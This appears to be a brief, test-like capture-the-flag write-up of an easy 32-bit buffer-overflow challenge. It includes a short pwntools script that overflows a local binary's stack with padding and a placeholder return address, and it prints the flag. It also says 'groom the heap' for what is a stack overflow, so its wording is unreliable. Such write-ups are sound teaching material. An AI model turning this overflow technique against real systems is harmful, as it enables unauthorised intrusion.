Pwn: Buffer Overflow 101

> AUTHOR: river | DATE: 3/4/2026

How we got first blood on the easiest pwn challenge of the weekend.

this is a test btw

The Challenge

We were given a 32-bit ELF binary and the libc library. Time to groom the heap.

The Exploit

Here is the Python script we used to smash the stack:

from pwn import *

p = process('./vulnerable')
payload = b"A" * 64 + p32(0xdeadbeef)
p.sendline(payload)
p.interactive()

Flag secured: idk{sm4sh_th3_st4ck_f0r_fun_4nd_pr0f1t}